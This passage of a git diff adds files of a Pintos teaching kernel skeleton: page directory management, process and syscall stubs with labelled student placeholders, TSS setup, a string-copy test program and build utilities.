+ /* Calculate how to fill this page.
+ We will read PAGE_READ_BYTES bytes from FILE
+ and zero the final PAGE_ZERO_BYTES bytes. */
+ size_t page_read_bytes = read_bytes < PGSIZE ? read_bytes : PGSIZE;
+ size_t page_zero_bytes = PGSIZE - page_read_bytes;
+
+ /* Get a page of memory. */
+ uint8_t *kpage = palloc_get_page (PAL_USER);
+ if (kpage == NULL)
+ return false;
+
+ /* Load this page. */
+ if (file_read (file, kpage, page_read_bytes) != (int) page_read_bytes)
+ {
+ palloc_free_page (kpage);
+ return false;
+ }
+ memset (kpage + page_read_bytes, 0, page_zero_bytes);
+
+ /* Add the page to the process's address space. */
+ if (!install_page (upage, kpage, writable))
+ {
+ palloc_free_page (kpage);
+ return false;
+ }
+
+ /* Advance. */
+ read_bytes -= page_read_bytes;
+ zero_bytes -= page_zero_bytes;
+ upage += PGSIZE;
+ }
+ return true;
+}
+
+/* Create a minimal stack by mapping a zeroed page at the top of
+ user virtual memory. */
+static bool
+setup_stack (void **esp)
+{
+ uint8_t *kpage;
+ bool success = false;
+
+ kpage = palloc_get_page (PAL_USER | PAL_ZERO);
+ if (kpage != NULL)
+ {
+ success = install_page (((uint8_t *) PHYS_BASE) - PGSIZE, kpage, true);
+ if (success)
+ *esp = PHYS_BASE;
+ else
+ palloc_free_page (kpage);
+ }
+ return success;
+}
+
+/* Adds a mapping from user virtual address UPAGE to kernel
+ virtual address KPAGE to the page table.
+ If WRITABLE is true, the user process may modify the page;
+ otherwise, it is read-only.
+ UPAGE must not already be mapped.
+ KPAGE should probably be a page obtained from the user pool
+ with palloc_get_page().
+ Returns true on success, false if UPAGE is already mapped or
+ if memory allocation fails. */
+static bool
+install_page (void *upage, void *kpage, bool writable)
+{
+ struct thread *t = thread_current ();
+
+ /* Verify that there's not already a page at that virtual
+ address, then map our page there. */
+ return (pagedir_get_page (t->pagedir, upage) == NULL
+ && pagedir_set_page (t->pagedir, upage, kpage, writable));
+}
+
+/* A function that dumps 'size' bytes of memory starting at 'ptr'
+ * it will dump the higher adress first letting the stack grow down.
+ */
+void dump_stack(void* ptr, int size)
+{
+ unsigned from = (unsigned)ptr;
+ unsigned to = (unsigned)(ptr - size);
+ unsigned adr;
+
+ printf("# Adress \thex-data \tchar-data\n");
+
+ for ( adr = from; adr > to; --adr )
+ {
+ unsigned* uadr = (unsigned*)( adr );
+ unsigned char* byte = (unsigned char*)( adr );
+
+ printf("# %08x\t", adr); /* address */
+
+ if ( (adr % 4) == 0 )
+ printf("%08x\t", *uadr); /* content interpreted as address */
+ else
+ printf(" \t"); /* fill */
+
+ if ( *byte >= 32 && *byte < 127 )
+ printf("%c\n", *byte); /* content interpreted as character */
+ else
+ printf("\\0%o\n", *byte); /* octal character code */
+
+ if ( adr == (unsigned)PHYS_BASE )
+ printf("# -- ^ KERNEL SPACE ABOVE ^v USER SPACE BELOW v --\n");
+ else if ( (adr % 4) == 0 )
+ printf("# ------------------------------------------------\n");
+ }
+}
diff --git a/src/userprog/load.h b/src/userprog/load.h
new file mode 100644
index 0000000..b0978c9
--- /dev/null
+++ b/src/userprog/load.h
@@ -0,0 +1,7 @@
+#ifndef USERPROG_LOAD_H
+#define USERPROG_LOAD_H
+
+bool load (const char *file_name, void (**eip) (void), void **esp);
+void dump_stack(void* ptr, int size);
+
+#endif /* userprog/load.h */
diff --git a/src/userprog/pagedir.c b/src/userprog/pagedir.c
new file mode 100644
index 0000000..30bdfe2
--- /dev/null
+++ b/src/userprog/pagedir.c
@@ -0,0 +1,263 @@
+#include "userprog/pagedir.h"
+#include <stdbool.h>
+#include <stddef.h>
+#include <string.h>
+#include "threads/init.h"
+#include "threads/pte.h"
+#include "threads/palloc.h"
+
+static uint32_t *active_pd (void);
+static void invalidate_pagedir (uint32_t *);
+
+/* Creates a new page directory that has mappings for kernel
+ virtual addresses, but none for user virtual addresses.
+ Returns the new page directory, or a null pointer if memory
+ allocation fails. */
+uint32_t *
+pagedir_create (void)
+{
+ uint32_t *pd = palloc_get_page (0);
+ if (pd != NULL)
+ memcpy (pd, base_page_dir, PGSIZE);
+ return pd;
+}
+
+/* Destroys page directory PD, freeing all the pages it
+ references. */
+void
+pagedir_destroy (uint32_t *pd)
+{
+ uint32_t *pde;
+
+ if (pd == NULL)
+ return;
+
+ ASSERT (pd != base_page_dir);
+ for (pde = pd; pde < pd + pd_no (PHYS_BASE); pde++)
+ if (*pde & PTE_P)
+ {
+ uint32_t *pt = pde_get_pt (*pde);
+ uint32_t *pte;
+
+ for (pte = pt; pte < pt + PGSIZE / sizeof *pte; pte++)
+ if (*pte & PTE_P)
+ palloc_free_page (pte_get_page (*pte));
+ palloc_free_page (pt);
+ }
+ palloc_free_page (pd);
+}
+
+/* Returns the address of the page table entry for virtual
+ address VADDR in page directory PD.
+ If PD does not have a page table for VADDR, behavior depends
+ on CREATE. If CREATE is true, then a new page table is
+ created and a pointer into it is returned. Otherwise, a null
+ pointer is returned. */
+static uint32_t *
+lookup_page (uint32_t *pd, const void *vaddr, bool create)
+{
+ uint32_t *pt, *pde;
+
+ ASSERT (pd != NULL);
+
+ /* Shouldn't create new kernel virtual mappings. */
+ ASSERT (!create || is_user_vaddr (vaddr));
+
+ /* Check for a page table for VADDR.
+ If one is missing, create one if requested. */
+ pde = pd + pd_no (vaddr);
+ if (*pde == 0)
+ {
+ if (create)
+ {
+ pt = palloc_get_page (PAL_ZERO);
+ if (pt == NULL)
+ return NULL;
+
+ *pde = pde_create (pt);
+ }
+ else
+ return NULL;
+ }
+
+ /* Return the page table entry. */
+ pt = pde_get_pt (*pde);
+ return &pt[pt_no (vaddr)];
+}
+
+/* Adds a mapping in page directory PD from user virtual page
+ UPAGE to the physical frame identified by kernel virtual
+ address KPAGE.
+ UPAGE must not already be mapped.
+ KPAGE should probably be a page obtained from the user pool
+ with palloc_get_page().
+ If WRITABLE is true, the new page is read/write;
+ otherwise it is read-only.
+ Returns true if successful, false if memory allocation
+ failed. */
+bool
+pagedir_set_page (uint32_t *pd, void *upage, void *kpage, bool writable)
+{
+ uint32_t *pte;
+
+ ASSERT (pg_ofs (upage) == 0);
+ ASSERT (pg_ofs (kpage) == 0);
+ ASSERT (is_user_vaddr (upage));
+ ASSERT (vtop (kpage) >> PTSHIFT < ram_pages);
+ ASSERT (pd != base_page_dir);
+
+ pte = lookup_page (pd, upage, true);
+
+ if (pte != NULL)
+ {
+ ASSERT ((*pte & PTE_P) == 0);
+ *pte = pte_create_user (kpage, writable);
+ return true;
+ }
+ else
+ return false;
+}
+
+/* Looks up the physical address that corresponds to user virtual
+ address UADDR in PD. Returns the kernel virtual address
+ corresponding to that physical address, or a null pointer if
+ UADDR is unmapped. */
+void *
+pagedir_get_page (uint32_t *pd, const void *uaddr)
+{
+ uint32_t *pte;
+
+ ASSERT (is_user_vaddr (uaddr));
+
+ pte = lookup_page (pd, uaddr, false);
+ if (pte != NULL && (*pte & PTE_P) != 0)
+ return pte_get_page (*pte) + pg_ofs (uaddr);
+ else
+ return NULL;
+}
+
+/* Marks user virtual page UPAGE "not present" in page
+ directory PD. Later accesses to the page will fault. Other
+ bits in the page table entry are preserved.
+ UPAGE need not be mapped. */
+void
+pagedir_clear_page (uint32_t *pd, void *upage)
+{
+ uint32_t *pte;
+
+ ASSERT (pg_ofs (upage) == 0);
+ ASSERT (is_user_vaddr (upage));
+
+ pte = lookup_page (pd, upage, false);
+ if (pte != NULL && (*pte & PTE_P) != 0)
+ {
+ *pte &= ~PTE_P;
+ invalidate_pagedir (pd);
+ }
+}
+
+/* Returns true if the PTE for virtual page VPAGE in PD is dirty,
+ that is, if the page has been modified since the PTE was
+ installed.
+ Returns false if PD contains no PTE for VPAGE. */
+bool
+pagedir_is_dirty (uint32_t *pd, const void *vpage)
+{
+ uint32_t *pte = lookup_page (pd, vpage, false);
+ return pte != NULL && (*pte & PTE_D) != 0;
+}
+
+/* Set the dirty bit to DIRTY in the PTE for virtual page VPAGE
+ in PD. */
+void
+pagedir_set_dirty (uint32_t *pd, const void *vpage, bool dirty)
+{
+ uint32_t *pte = lookup_page (pd, vpage, false);
+ if (pte != NULL)
+ {
+ if (dirty)
+ *pte |= PTE_D;
+ else
+ {
+ *pte &= ~(uint32_t) PTE_D;
+ invalidate_pagedir (pd);
+ }
+ }
+}
+
+/* Returns true if the PTE for virtual page VPAGE in PD has been
+ accessed recently, that is, between the time the PTE was
+ installed and the last time it was cleared. Returns false if
+ PD contains no PTE for VPAGE. */
+bool
+pagedir_is_accessed (uint32_t *pd, const void *vpage)
+{
+ uint32_t *pte = lookup_page (pd, vpage, false);
+ return pte != NULL && (*pte & PTE_A) != 0;
+}
+
+/* Sets the accessed bit to ACCESSED in the PTE for virtual page
+ VPAGE in PD. */
+void
+pagedir_set_accessed (uint32_t *pd, const void *vpage, bool accessed)
+{
+ uint32_t *pte = lookup_page (pd, vpage, false);
+ if (pte != NULL)
+ {
+ if (accessed)
+ *pte |= PTE_A;
+ else
+ {
+ *pte &= ~(uint32_t) PTE_A;
+ invalidate_pagedir (pd);
+ }
+ }
+}
+
+/* Loads page directory PD into the CPU's page directory base
+ register. */
+void
+pagedir_activate (uint32_t *pd)
+{
+ if (pd == NULL)
+ pd = base_page_dir;
+
+ /* Store the physical address of the page directory into CR3
+ aka PDBR (page directory base register). This activates our
+ new page tables immediately. See [IA32-v2a] "MOV--Move
+ to/from Control Registers" and [IA32-v3a] 3.7.5 "Base
+ Address of the Page Directory". */
+ asm volatile ("movl %0, %%cr3" : : "r" (vtop (pd)) : "memory");
+}
+
+/* Returns the currently active page directory. */
+static uint32_t *
+active_pd (void)
+{
+ /* Copy CR3, the page directory base register (PDBR), into
+ `pd'.
+ See [IA32-v2a] "MOV--Move to/from Control Registers" and
+ [IA32-v3a] 3.7.5 "Base Address of the Page Directory". */
+ uintptr_t pd;
+ asm volatile ("movl %%cr3, %0" : "=r" (pd));
+ return ptov (pd);
+}
+
+/* Seom page table changes can cause the CPU's translation
+ lookaside buffer (TLB) to become out-of-sync with the page
+ table. When this happens, we have to "invalidate" the TLB by
+ re-activating it.
+
+ This function invalidates the TLB if PD is the active page
+ directory. (If PD is not active then its entries are not in
+ the TLB, so there is no need to invalidate anything.) */
+static void
+invalidate_pagedir (uint32_t *pd)
+{
+ if (active_pd () == pd)
+ {
+ /* Re-activating PD clears the TLB. See [IA32-v3a] 3.12
+ "Translation Lookaside Buffers (TLBs)". */
+ pagedir_activate (pd);
+ }
+}
diff --git a/src/userprog/pagedir.h b/src/userprog/pagedir.h
new file mode 100644
index 0000000..cd92447
--- /dev/null
+++ b/src/userprog/pagedir.h
@@ -0,0 +1,18 @@
+#ifndef USERPROG_PAGEDIR_H
+#define USERPROG_PAGEDIR_H
+
+#include <stdbool.h>
+#include <stdint.h>
+
+uint32_t *pagedir_create (void);
+void pagedir_destroy (uint32_t *pd);
+bool pagedir_set_page (uint32_t *pd, void *upage, void *kpage, bool rw);
+void *pagedir_get_page (uint32_t *pd, const void *upage);
+void pagedir_clear_page (uint32_t *pd, void *upage);
+bool pagedir_is_dirty (uint32_t *pd, const void *upage);
+void pagedir_set_dirty (uint32_t *pd, const void *upage, bool dirty);
+bool pagedir_is_accessed (uint32_t *pd, const void *upage);
+void pagedir_set_accessed (uint32_t *pd, const void *upage, bool accessed);
+void pagedir_activate (uint32_t *pd);
+
+#endif /* userprog/pagedir.h */
diff --git a/src/userprog/plist.c b/src/userprog/plist.c
new file mode 100644
index 0000000..da03d54
--- /dev/null
+++ b/src/userprog/plist.c
@@ -0,0 +1,3 @@
+#include <stddef.h>
+
+#include "plist.h"
diff --git a/src/userprog/plist.h b/src/userprog/plist.h
new file mode 100644
index 0000000..ce75524
--- /dev/null
+++ b/src/userprog/plist.h
@@ -0,0 +1,33 @@
+#ifndef _PLIST_H_
+#define _PLIST_H_
+
+
+/* Place functions to handle a running process here (process list).
+
+ plist.h : Your function declarations and documentation.
+ plist.c : Your implementation.
+
+ The following is strongly recommended:
+
+ - A function that given process inforamtion (up to you to create)
+ inserts this in a list of running processes and return an integer
+ that can be used to find the information later on.
+
+ - A function that given an integer (obtained from above function)
+ FIND the process information in the list. Should return some
+ failure code if no process matching the integer is in the list.
+ Or, optionally, several functions to access any information of a
+ particular process that you currently need.
+
+ - A function that given an integer REMOVE the process information
+ from the list. Should only remove the information when no process
+ or thread need it anymore, but must guarantee it is always
+ removed EVENTUALLY.
+
+ - A function that print the entire content of the list in a nice,
+ clean, readable format.
+
+ */
+
+
+#endif
diff --git a/src/userprog/process.c b/src/userprog/process.c
new file mode 100644
index 0000000..7df8778
--- /dev/null
+++ b/src/userprog/process.c
@@ -0,0 +1,275 @@
+#include <debug.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "userprog/gdt.h" /* SEL_* constants */
+#include "userprog/process.h"
+#include "userprog/load.h"
+#include "userprog/pagedir.h" /* pagedir_activate etc. */
+#include "userprog/tss.h" /* tss_update */
+#include "filesys/file.h"
+#include "threads/flags.h" /* FLAG_* constants */
+#include "threads/thread.h"
+#include "threads/vaddr.h" /* PHYS_BASE */
+#include "threads/interrupt.h" /* if_ */
+
+/* Headers not yet used that you may need for various reasons. */
+#include "threads/synch.h"
+#include "threads/malloc.h"
+#include "lib/kernel/list.h"
+
+#include "userprog/flist.h"
+#include "userprog/plist.h"
+
+/* HACK defines code you must remove and implement in a proper way */
+#define HACK
+
+
+/* This function is called at boot time (threads/init.c) to initialize
+ * the process subsystem. */
+void process_init(void)
+{
+}
+
+/* This function is currently never called. As thread_exit does not
+ * have an exit status parameter, this could be used to handle that
+ * instead. Note however that all cleanup after a process must be done
+ * in process_cleanup, and that process_cleanup are already called
+ * from thread_exit - do not call cleanup twice! */
+void process_exit(int status UNUSED)
+{
+}
+
+/* Print a list of all running processes. The list shall include all
+ * relevant debug information in a clean, readable format. */
+void process_print_list()
+{
+}
+
+
+struct parameters_to_start_process
+{
+ char* command_line;
+};
+
+static void
+start_process(struct parameters_to_start_process* parameters) NO_RETURN;
+
+/* Starts a new proccess by creating a new thread to run it. The
+ process is loaded from the file specified in the COMMAND_LINE and
+ started with the arguments on the COMMAND_LINE. The new thread may
+ be scheduled (and may even exit) before process_execute() returns.
+ Returns the new process's thread id, or TID_ERROR if the thread
+ cannot be created. */
+int
+process_execute (const char *command_line)
+{
+ char debug_name[64];
+ int command_line_size = strlen(command_line) + 1;
+ tid_t thread_id = -1;
+ int process_id = -1;
+
+ /* LOCAL variable will cease existence when function return! */
+ struct parameters_to_start_process arguments;
+
+ debug("%s#%d: process_execute(\"%s\") ENTERED\n",
+ thread_current()->name,
+ thread_current()->tid,
+ command_line);
+
+ /* COPY command line out of parent process memory */
+ arguments.command_line = malloc(command_line_size);
+ strlcpy(arguments.command_line, command_line, command_line_size);
+
+
+ strlcpy_first_word (debug_name, command_line, 64);
+
+ /* SCHEDULES function `start_process' to run (LATER) */
+ thread_id = thread_create (debug_name, PRI_DEFAULT,
+ (thread_func*)start_process, &arguments);
+
+ process_id = thread_id;
+
+ /* AVOID bad stuff by turning off. YOU will fix this! */
+ power_off();
+
+
+ /* WHICH thread may still be using this right now? */
+ free(arguments.command_line);
+
+ debug("%s#%d: process_execute(\"%s\") RETURNS %d\n",
+ thread_current()->name,
+ thread_current()->tid,
+ command_line, process_id);
+
+ /* MUST be -1 if `load' in `start_process' return false */
+ return process_id;
+}
+
+/* A thread function that loads a user process and starts it
+ running. */
+static void
+start_process (struct parameters_to_start_process* parameters)
+{
+ /* The last argument passed to thread_create is received here... */
+ struct intr_frame if_;
+ bool success;
+
+ char file_name[64];
+ strlcpy_first_word (file_name, parameters->command_line, 64);
+
+ debug("%s#%d: start_process(\"%s\") ENTERED\n",
+ thread_current()->name,
+ thread_current()->tid,
+ parameters->command_line);
+
+ /* Initialize interrupt frame and load executable. */
+ memset (&if_, 0, sizeof if_);
+ if_.gs = if_.fs = if_.es = if_.ds = if_.ss = SEL_UDSEG;
+ if_.cs = SEL_UCSEG;
+ if_.eflags = FLAG_IF | FLAG_MBS;
+
+ success = load (file_name, &if_.eip, &if_.esp);
+
+ debug("%s#%d: start_process(...): load returned %d\n",
+ thread_current()->name,
+ thread_current()->tid,
+ success);
+
+ if (success)
+ {
+ /* We managed to load the new program to a process, and have
+ allocated memory for a process stack. The stack top is in
+ if_.esp, now we must prepare and place the arguments to main on
+ the stack. */
+
+ /* A temporary solution is to modify the stack pointer to
+ "pretend" the arguments are present on the stack. A normal
+ C-function expects the stack to contain, in order, the return
+ address, the first argument, the second argument etc. */
+
+ HACK if_.esp -= 12; /* Unacceptable solution. */
+
+ /* The stack and stack pointer should be setup correct just before
+ the process start, so this is the place to dump stack content
+ for debug purposes. Disable the dump when it works. */
+
+// dump_stack ( PHYS_BASE + 15, PHYS_BASE - if_.esp + 16 );
+
+ }
+
+ debug("%s#%d: start_process(\"%s\") DONE\n",
+ thread_current()->name,
+ thread_current()->tid,
+ parameters->command_line);
+
+
+ /* If load fail, quit. Load may fail for several reasons.
+ Some simple examples:
+ - File doeas not exist
+ - File do not contain a valid program
+ - Not enough memory
+ */
+ if ( ! success )
+ {
+ thread_exit ();
+ }
+
+ /* Start the user process by simulating a return from an interrupt,
+ implemented by intr_exit (in threads/intr-stubs.S). Because
+ intr_exit takes all of its arguments on the stack in the form of
+ a `struct intr_frame', we just point the stack pointer (%esp) to
+ our stack frame and jump to it. */
+ asm volatile ("movl %0, %%esp; jmp intr_exit" : : "g" (&if_) : "memory");
+ NOT_REACHED ();
+}
+
+/* Wait for process `child_id' to die and then return its exit
+ status. If it was terminated by the kernel (i.e. killed due to an
+ exception), return -1. If `child_id' is invalid or if it was not a
+ child of the calling process, or if process_wait() has already been
+ successfully called for the given `child_id', return -1
+ immediately, without waiting.
+
+ This function will be implemented last, after a communication
+ mechanism between parent and child is established. */
+int
+process_wait (int child_id)
+{
+ int status = -1;
+ struct thread *cur = thread_current ();
+
+ debug("%s#%d: process_wait(%d) ENTERED\n",
+ cur->name, cur->tid, child_id);
+ /* Yes! You need to do something good here ! */
+ debug("%s#%d: process_wait(%d) RETURNS %d\n",
+ cur->name, cur->tid, child_id, status);
+
+ return status;
+}
+
+/* Free the current process's resources. This function is called
+ automatically from thread_exit() to make sure cleanup of any
+ process resources is always done. That is correct behaviour. But
+ know that thread_exit() is called at many places inside the kernel,
+ mostly in case of some unrecoverable error in a thread.
+
+ In such case it may happen that some data is not yet available, or
+ initialized. You must make sure that nay data needed IS available
+ or initialized to something sane, or else that any such situation
+ is detected.
+*/
+
+void
+process_cleanup (void)
+{
+ struct thread *cur = thread_current ();
+ uint32_t *pd = cur->pagedir;
+ int status = -1;
+
+ debug("%s#%d: process_cleanup() ENTERED\n", cur->name, cur->tid);
+
+ /* Later tests DEPEND on this output to work correct. You will have
+ * to find the actual exit status in your process list. It is
+ * important to do this printf BEFORE you tell the parent process
+ * that you exit. (Since the parent may be the main() function,
+ * that may sometimes poweroff as soon as process_wait() returns,
+ * possibly before the prontf is completed.)
+ */
+ printf("%s: exit(%d)\n", thread_name(), status);
+
+ /* Destroy the current process's page directory and switch back
+ to the kernel-only page directory. */
+ if (pd != NULL)
+ {
+ /* Correct ordering here is crucial. We must set
+ cur->pagedir to NULL before switching page directories,
+ so that a timer interrupt can't switch back to the
+ process page directory. We must activate the base page
+ directory before destroying the process's page
+ directory, or our active page directory will be one
+ that's been freed (and cleared). */
+ cur->pagedir = NULL;
+ pagedir_activate (NULL);
+ pagedir_destroy (pd);
+ }
+ debug("%s#%d: process_cleanup() DONE with status %d\n",
+ cur->name, cur->tid, status);
+}
+
+/* Sets up the CPU for running user code in the current
+ thread.
+ This function is called on every context switch. */
+void
+process_activate (void)
+{
+ struct thread *t = thread_current ();
+
+ /* Activate thread's page tables. */
+ pagedir_activate (t->pagedir);
+
+ /* Set thread's kernel stack for use in processing
+ interrupts. */
+ tss_update ();
+}
+
diff --git a/src/userprog/process.h b/src/userprog/process.h
new file mode 100644
index 0000000..0a4e4ac
--- /dev/null
+++ b/src/userprog/process.h
@@ -0,0 +1,23 @@
+#ifndef USERPROG_PROCESS_H
+#define USERPROG_PROCESS_H
+
+#include "threads/thread.h"
+
+void process_init (void);
+void process_print_list (void);
+void process_exit (int status);
+tid_t process_execute (const char *file_name);
+int process_wait (tid_t);
+void process_cleanup (void);
+void process_activate (void);
+
+/* This is unacceptable solutions. */
+#define INFINITE_WAIT() for ( ; ; ) thread_yield()
+#define BUSY_WAIT(n) \
+ do { \
+ int i = n; \
+ while ( i --> 0 ) \
+ thread_yield(); \
+ } while ( 0 )
+
+#endif /* userprog/process.h */
diff --git a/src/userprog/syscall.c b/src/userprog/syscall.c
new file mode 100644
index 0000000..4d46978
--- /dev/null
+++ b/src/userprog/syscall.c
@@ -0,0 +1,61 @@
+#include <stdio.h>
+#include <syscall-nr.h>
+#include "userprog/syscall.h"
+#include "threads/interrupt.h"
+#include "threads/thread.h"
+
+/* header files you probably need, they are not used yet */
+#include <string.h>
+#include "filesys/filesys.h"
+#include "filesys/file.h"
+#include "threads/vaddr.h"
+#include "threads/init.h"
+#include "userprog/pagedir.h"
+#include "userprog/process.h"
+#include "devices/input.h"
+
+static void syscall_handler (struct intr_frame *);
+
+void
+syscall_init (void)
+{
+ intr_register_int (0x30, 3, INTR_ON, syscall_handler, "syscall");
+}
+
+
+/* This array defined the number of arguments each syscall expects.
+ For example, if you want to find out the number of arguments for
+ the read system call you shall write:
+
+ int sys_read_arg_count = argc[ SYS_READ ];
+
+ All system calls have a name such as SYS_READ defined as an enum
+ type, see `lib/syscall-nr.h'. Use them instead of numbers.
+ */
+const int argc[] = {
+ /* basic calls */
+ 0, 1, 1, 1, 2, 1, 1, 1, 3, 3, 2, 1, 1,
+ /* not implemented */
+ 2, 1, 1, 1, 2, 1, 1,
+ /* extended */
+ 0
+};
+
+static void
+syscall_handler (struct intr_frame *f)
+{
+ int32_t* esp = (int32_t*)f->esp;
+
+ switch ( 0 /* retrive syscall number */ )
+ {
+ default:
+ {
+ printf ("Executed an unknown system call!\n");
+
+ printf ("Stack top + 0: %d\n", esp[0]);
+ printf ("Stack top + 1: %d\n", esp[1]);
+
+ thread_exit ();
+ }
+ }
+}
diff --git a/src/userprog/syscall.h b/src/userprog/syscall.h
new file mode 100644
index 0000000..9059096
--- /dev/null
+++ b/src/userprog/syscall.h
@@ -0,0 +1,6 @@
+#ifndef USERPROG_SYSCALL_H
+#define USERPROG_SYSCALL_H
+
+void syscall_init (void);
+
+#endif /* userprog/syscall.h */
diff --git a/src/userprog/test.c b/src/userprog/test.c
new file mode 100644
index 0000000..6d884d6
--- /dev/null
+++ b/src/userprog/test.c
@@ -0,0 +1,66 @@
+#include <stdio.h>
+
+typedef __SIZE_TYPE__ size_t;
+
+/* As strlcpy, but only copies the first word from SRC. Worde are
+ * delimeted by space. Leading space is also ignored.
+ * ( added by klaar@ida )
+ */
+size_t
+strlcpy_first_word (char *dst, const char *src, size_t size)
+{
+ size_t i = size;
+
+ /* skip leading spaces */
+ while (*src != '\0' && *src == ' ')
+ ++src;
+
+ /* copy at most size characters */
+ if (size > 0)
+ {
+ while (i > 1)
+ {
+ if (*src == '\0' || *src == ' ')
+ break;
+
+ *dst++ = *src++;
+ --i;
+ }
+ *dst = '\0';
+ }
+ return size - i;
+}
+
+int main(int argc, char* argv[])
+{
+ char word[100];
+ int i;
+
+ i = strlcpy_first_word(word, argv[1], -1);
+
+ printf("Argv[1]: '%s', (%d characters)\n", argv[1], strlen(argv[1]));
+ printf("First w: '%s', (%d characters)\n", word, strlen(word));
+ printf("Copied %d characters of max %d\n\n", i, -1);
+
+
+ i = strlcpy_first_word(word, argv[1], 0);
+
+ printf("Argv[1]: '%s', (%d characters)\n", argv[1], strlen(argv[1]));
+ printf("First w: '%s', (%d characters)\n", word, strlen(word));
+ printf("Copied %d characters of max %d\n\n", i, 0);
+
+
+ i = strlcpy_first_word(word, argv[1], 1);
+
+ printf("Argv[1]: '%s', (%d characters)\n", argv[1], strlen(argv[1]));
+ printf("First w: '%s', (%d characters)\n", word, strlen(word));
+ printf("Copied %d characters of max %d\n\n", i, 1);
+
+
+ i = strlcpy_first_word(word, argv[1], 10);
+
+ printf("Argv[1]: '%s', (%d characters)\n", argv[1], strlen(argv[1]));
+ printf("First w: '%s', (%d characters)\n", word, strlen(word));
+ printf("Copied %d characters of max %d\n\n", i, 10);
+
+}
diff --git a/src/userprog/tss.c b/src/userprog/tss.c
new file mode 100644
index 0000000..435c780
--- /dev/null
+++ b/src/userprog/tss.c
@@ -0,0 +1,106 @@
+#include "userprog/tss.h"
+#include <debug.h>
+#include <stddef.h>
+#include "userprog/gdt.h"
+#include "threads/palloc.h"
+#include "threads/vaddr.h"
+#include "threads/thread.h"
+
+/* The Task-State Segment (TSS).
+
+ Instances of the TSS, an x86-specific structure, are used to
+ define "tasks", a form of support for multitasking built right
+ into the processor. However, for various reasons including
+ portability, speed, and flexibility, most x86 OSes almost
+ completely ignore the TSS. We are no exception.
+
+ Unfortunately, there is one thing that can only be done using
+ a TSS: stack switching for interrupts that occur in user mode.
+ When an interrupt occurs in user mode (ring 3), the processor
+ consults the ss0 and esp0 members of the current TSS to
+ determine the stack to use for handling the interrupt. Thus,
+ we must create a TSS and initialize at least these fields, and
+ this is precisely what this file does.
+
+ When an interrupt is handled by an interrupt or trap gate
+ (which applies to all interrupts we handle), an x86 processor
+ works like this:
+
+ - If the code interrupted by the interrupt is in the same
+ ring as the interrupt handler, then no stack switch takes
+ place. This is the case for interrupts that happen when
+ we're running in the kernel. The contents of the TSS are
+ irrelevant for this case.
+
+ - If the interrupted code is in a different ring from the
+ handler, then the processor switches to the stack
+ specified in the TSS for the new ring. This is the case
+ for interrupts that happen when we're in user space. It's
+ important that we switch to a stack that's not already in
+ use, to avoid corruption. Because we're running in user
+ space, we know that the current process's kernel stack is
+ not in use, so we can always use that. Thus, when the
+ scheduler switches threads, it also changes the TSS's
+ stack pointer to point to the new thread's kernel stack.
+ (The call is in schedule_tail() in thread.c.)
+
+ See [IA32-v3a] 6.2.1 "Task-State Segment (TSS)" for a
+ description of the TSS. See [IA32-v3a] 5.12.1 "Exception- or
+ Interrupt-Handler Procedures" for a description of when and
+ how stack switching occurs during an interrupt. */
+struct tss
+ {
+ uint16_t back_link, :16;
+ void *esp0; /* Ring 0 stack virtual address. */
+ uint16_t ss0, :16; /* Ring 0 stack segment selector. */
+ void *esp1;
+ uint16_t ss1, :16;
+ void *esp2;
+ uint16_t ss2, :16;
+ uint32_t cr3;
+ void (*eip) (void);
+ uint32_t eflags;
+ uint32_t eax, ecx, edx, ebx;
+ uint32_t esp, ebp, esi, edi;
+ uint16_t es, :16;
+ uint16_t cs, :16;
+ uint16_t ss, :16;
+ uint16_t ds, :16;
+ uint16_t fs, :16;
+ uint16_t gs, :16;
+ uint16_t ldt, :16;
+ uint16_t trace, bitmap;
+ };
+
+/* Kernel TSS. */
+static struct tss *tss;
+
+/* Initializes the kernel TSS. */
+void
+tss_init (void)
+{
+ /* Our TSS is never used in a call gate or task gate, so only a
+ few fields of it are ever referenced, and those are the only
+ ones we initialize. */
+ tss = palloc_get_page (PAL_ASSERT | PAL_ZERO);
+ tss->ss0 = SEL_KDSEG;
+ tss->bitmap = 0xdfff;
+ tss_update ();
+}
+
+/* Returns the kernel TSS. */
+struct tss *
+tss_get (void)
+{
+ ASSERT (tss != NULL);
+ return tss;
+}
+
+/* Sets the ring 0 stack pointer in the TSS to point to the end
+ of the thread stack. */
+void
+tss_update (void)
+{
+ ASSERT (tss != NULL);
+ tss->esp0 = (uint8_t *) thread_current () + PGSIZE;
+}
diff --git a/src/userprog/tss.h b/src/userprog/tss.h
new file mode 100644
index 0000000..467bd19
--- /dev/null
+++ b/src/userprog/tss.h
@@ -0,0 +1,11 @@
+#ifndef USERPROG_TSS_H
+#define USERPROG_TSS_H
+
+#include <stdint.h>
+
+struct tss;
+void tss_init (void);
+struct tss *tss_get (void);
+void tss_update (void);
+
+#endif /* userprog/tss.h */
diff --git a/src/utils/.cvsignore b/src/utils/.cvsignore
new file mode 100644
index 0000000..b96f278
--- /dev/null
+++ b/src/utils/.cvsignore
@@ -0,0 +1,3 @@
+setitimer-helper
+squish-pty
+squish-unix
diff --git a/src/utils/Makefile b/src/utils/Makefile
new file mode 100644
index 0000000..21741f1
--- /dev/null
+++ b/src/utils/Makefile
@@ -0,0 +1,11 @@
+all: setitimer-helper squish-pty squish-unix
+
+CC = gcc
+CFLAGS = -Wall -W -D_XOPEN_SOURCE=500 -D__EXTENSIONS__
+LDFLAGS = -lm -lxnet
+setitimer-helper: setitimer-helper.o
+squish-pty: squish-pty.o
+squish-unix: squish-unix.o
+
+clean:
+ rm -f *.o setitimer-helper squish-pty squish-unix
diff --git a/src/utils/backtrace b/src/utils/backtrace
new file mode 100644
index 0000000..95e422f
--- /dev/null
+++ b/src/utils/backtrace
@@ -0,0 +1,106 @@
+#! /usr/bin/perl -w
+
+use strict;
+
+# Check command line.
+if (grep ($_ eq '-h' || $_ eq '--help', @ARGV)) {
+ print <<'EOF';
+backtrace, for converting raw addresses into symbolic backtraces
+usage: backtrace [BINARY]... ADDRESS...
+where BINARY is the binary file or files from which to obtain symbols
+ and ADDRESS is a raw address to convert to a symbol name.
+
+If no BINARY is unspecified, the default is the first of kernel.o or
+build/kernel.o that exists. If multiple binaries are specified, each
+symbol printed is from the first binary that contains a match.
+
+The ADDRESS list should be taken from the "Call stack:" printed by the
+kernel. Read "Backtraces" in the "Debugging Tools" chapter of the
+Pintos documentation for more information.
+EOF
+ exit 0;
+}
+die "backtrace: at least one argument required (use --help for help)\n"
+ if @ARGV == 0;
+
+# Drop garbage inserted by kernel.
